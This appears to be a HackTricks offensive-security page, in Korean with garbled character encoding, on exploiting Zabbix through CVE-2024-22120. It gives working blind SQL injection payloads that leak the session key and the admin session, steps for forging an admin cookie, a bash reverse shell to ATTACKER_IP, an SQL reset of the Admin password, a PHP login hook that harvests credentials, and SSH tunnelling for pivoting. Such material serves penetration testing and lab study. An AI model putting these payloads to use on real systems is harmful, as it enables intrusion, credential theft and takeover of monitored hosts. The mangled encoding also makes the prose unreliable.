Zabbix ๋ณด์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Zabbix๋ web UI(์ผ๋ฐ์ ์ผ๋ก Apache/Nginx ๋ค)์ TCP/10051(server/trapper)์์ Zabbix ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ server ์ปดํฌ๋ํธ ๋ฐ TCP/10050์ agent๋ฅผ ๋ ธ์ถํ๋ ๋ชจ๋ํฐ๋ง ํ๋ซํผ์ ๋๋ค. ํ๊ฐ ์ค์ ๋ค์์ ๋ง์ฃผ์น ์ ์์ต๋๋ค:
- Web UI: zabbix.example.tld ๊ฐ์ HTTP(S) ๊ฐ์ ํธ์คํธ
- Zabbix server ํฌํธ: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent ํฌํธ: 10050/tcp
์ ์ฉํ cookie ํ์: zbx_session์ ์ต์ํ sessionid, serverCheckResult, serverCheckTime ๋ฐ sign์ ํฌํจํ๋ compact JSON ๊ฐ์ฒด์ Base64์ ๋๋ค. sign์ JSON ํ์ด๋ก๋์ HMAC์ ๋๋ค.
zbx_session cookie ๋ด๋ถ ๊ตฌ์กฐ
์ต๊ทผ Zabbix ๋ฒ์ ์ cookie๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๊ณ์ฐํฉ๋๋ค:
- data JSON: {โsessionidโ:โ<32-hex>โ,โserverCheckResultโ:true,โserverCheckTimeโ:<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
global session_key์ ์ ํจํ admin sessionid๋ฅผ ํ์ํ ์ ์๋ค๋ฉด, ์คํ๋ผ์ธ์์ ์ ํจํ Admin cookie๋ฅผ ์์กฐํด UI์ ์ธ์ฆํ ์ ์์ต๋๋ค.
CVE-2024-22120 โ Zabbix Server audit log์ time-based blind SQLi
๊ณต๊ฐ ๋ฌธ์์์ ์ํฅ์ ๋ฐ๋ ๋ฒ์ :
- 6.0.0โ6.0.27, 6.4.0โ6.4.12, 7.0.0alpha1
์ทจ์ฝ์ ์์ฝ:
- Script ์คํ์ด Zabbix Server ๊ฐ์ฌ ๋ก๊ทธ์ ๊ธฐ๋ก๋ ๋ clientip ํ๋๊ฐ ์ ํ๋์ง ์๊ณ SQL์ ์ด์ด๋ถ์ฌ์ ธ, server ๊ตฌ์ฑ์์๋ฅผ ํตํด time-based blind SQLi๊ฐ ๊ฐ๋ฅํด์ง๋๋ค.
- ์ด๋ ์ ํจํ ๋ฎ์ ๊ถํ์ sessionid, ์ฌ์ฉ์๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ hostid, ๊ทธ๋ฆฌ๊ณ ํ์ฉ๋ scriptid๋ก ์กฐ์๋ โcommandโ ์์ฒญ์ Zabbix server ํฌํธ 10051๋ก ์ ์กํจ์ผ๋ก์จ ์ ์ฉํ ์ ์์ต๋๋ค.
์ ์ ์กฐ๊ฑด ๋ฐ ๋ฐ๊ฒฌ ํ:
- sessionid: web UI์ guest/login์์ zbx_session(Base64)์ ๋์ฝ๋ํ์ฌ sessionid๋ฅผ ์ป์ต๋๋ค.
- hostid: web UI ์์ฒญ(์: Monitoring โ Hosts)์ ๊ด์ฐฐํ๊ฑฐ๋ ํ๋ก์๋ก ๊ฐ๋ก์ฑ์ ํ์ธํฉ๋๋ค; ์ผ๋ฐ ๊ธฐ๋ณธ๊ฐ์ 10084์ ๋๋ค.
- scriptid: ํ์ฌ ์ญํ ์ ํ์ฉ๋ ์คํฌ๋ฆฝํธ๋ง ์คํ๋ฉ๋๋ค; ์คํฌ๋ฆฝํธ ๋ฉ๋ด/AJAX ์๋ต์ ๊ฒ์ฌํ์ฌ ํ์ธํ์ธ์. 1 ๋๋ 2 ๊ฐ์ ๊ธฐ๋ณธ๊ฐ์ด ์ข ์ข ํ์ฉ๋๋ฉฐ, 3์ ๊ฑฐ๋ถ๋ ์ ์์ต๋๋ค.
Exploitation flow
- clientip์ SQLi๋ฅผ ํฌํจํด ๊ฐ์ฌ ๋ก๊ทธ ์ฝ์ ํธ๋ฆฌ๊ฑฐ
- TCP/10051์ ์ฐ๊ฒฐํ์ฌ request=โcommandโ๋ฅผ ํฌํจํ Zabbix ํ๋ ์ ๋ฉ์์ง๋ฅผ ๋ณด๋ด๊ณ , sid, hostid, scriptid ๋ฐ clientip๋ฅผ ์๋ฒ๊ฐ ์ด์ด๋ถ์ฌ ํ๊ฐํ SQL ํํ์ผ๋ก ์ค์ ํฉ๋๋ค.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
์ ์ฒด ์์ด์ด ํฌ๋งท์: โZBXD\x01โ + 8-byte little-endian length + UTF-8 JSON์ ๋๋ค. ํ๋ ์ด๋ฐ์๋ pwntools๋ ์์ฒด socket ์ฝ๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Time-bruteforce secrets via conditional sleep
์กฐ๊ฑด๋ถ ํํ์์ ์ฌ์ฉํด ์๋ต ์๊ฐ์ ์ธก์ ํจ์ผ๋ก์จ hex-encoded secrets๋ฅผ ํ ๊ธ์์ฉ leakํฉ๋๋ค. ์ค์ ๋ก ์๋ํ ์:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1)์ sessions์์:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
์ฐธ๊ณ :
- charset: 32 hex chars [0-9a-f]
- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) ๋ฐ ๊ฐ ์๋๋ง๋ค ์ค์ ๊ฒฝ๊ณผ ์๊ฐ์ ์ธก์
- Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing wonโt work
- Forge Admin cookie
Once you have:
- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
์ค๋น๋ ๋๊ตฌ
- Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
- Parameters to provide typically include: โip (FQDN of UI), โport 10051, โsid (low-priv), โhostid, and optionally a known โadmin-sid to skip brute.
์คํฌ๋ฆฝํธ ์คํ์ ํตํ RCE (๊ด๋ฆฌ์ ๊ถํ ํ๋ ํ)
UI์์ Admin ์ ๊ทผ ๊ถํ์ด ์์ผ๋ฉด ๋ชจ๋ํฐ๋ง๋ ํธ์คํธ์ ๋ํด ๋ฏธ๋ฆฌ ์ ์๋ Scripts๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์์ด์ ํธ/ํธ์คํธ๊ฐ ๋ก์ปฌ์์ ์คํฌ๋ฆฝํธ ๋ช ๋ น์ ์คํํ๋ฉด ํด๋น ์์คํ ์์ ์ฝ๋ ์คํ์ด ๋ฐ์ํฉ๋๋ค(๋๋ถ๋ถ Linux ํธ์คํธ์์๋ zabbix ์ฌ์ฉ์๋ก ์คํ๋จ):
- Quick check: run id to confirm user context
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY upgrade (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
DB ์ ๊ทผ ๊ถํ์ด ์๋ค๋ฉด, ์ฟ ํค๋ฅผ ์์กฐํ๋ ๋์ Admin ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌธ์ํ๋ bcrypt ๊ฐ์ผ๋ก ์ฌ์ค์ ํ ์ ์์ต๋๋ค:
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Credential capture via login hook (post-exploitation)
๋ง์ฝ web UI server์์ file write๊ฐ ๊ฐ๋ฅํ๋ค๋ฉด, form-based login ๋ถ๊ธฐ ์ฃผ๋ณ์ /usr/share/zabbix/index.php์ ๋ก๊ทธ ์ค๋ํซ์ ์์๋ก ์ถ๊ฐํ์ฌ capture credentialsํ ์ ์์ต๋๋ค:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
์ฌ์ฉ์๋ ์ ์์ ์ผ๋ก ์ธ์ฆํฉ๋๋ค; ์์ ํ /dev/shm/creds.txt๋ฅผ ์ฝ์ผ์ธ์. ์์ ์ด ๋๋๋ฉด hook์ ์ ๊ฑฐํ์ธ์.
๋ด๋ถ ์๋น์ค๋ก ํผ๋ฒ
์๋น์ค ๊ณ์ ์ shell์ด /usr/sbin/nologin์ด์ด๋, SSH authorized_keys ํญ๋ชฉ์ ์ถ๊ฐํ๊ณ -N -L์ ์ฌ์ฉํ๋ฉด ๋ก์ปฌ ํฌํธ ํฌ์๋ฉ์ผ๋ก ๋ฃจํ๋ฐฑ ์ ์ฉ ์๋น์ค(์: 8111์ CI/CD)์ ์ ๊ทผํ ์ ์์ต๋๋ค:
ssh -i key user@host -N -L 8111:127.0.0.1:8111
๋ ๋ง์ ํฐ๋๋ง ํจํด์ ๋ค์์์ ํ์ธํ์ธ์: Tunneling and Port Forwarding.
์ด์ ํ
- ํ์ฌ role์ ๋ํด scriptid๊ฐ ํ์ฉ๋๋์ง ๊ฒ์ฆํ์ธ์ (guest๋ ์ ํ๋ ์งํฉ์ ๊ฐ์ง ์ ์์)
- Timing brute๋ ๋๋ฆด ์ ์์ผ๋ฏ๋ก, ๋ณต๊ตฌํ admin sessionid๋ฅผ ์บ์ํด ์ฌ์ฌ์ฉํ์ธ์
- 10051๋ก ์ ์ก๋๋ JSON์ ZBXD\x01 ํค๋์ little-endian ๊ธธ์ด๋ก ํ๋ ์ด๋ฐ๋์ด์ผ ํฉ๋๋ค
์ฐธ๊ณ ์๋ฃ
- HTB Watcher โ Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


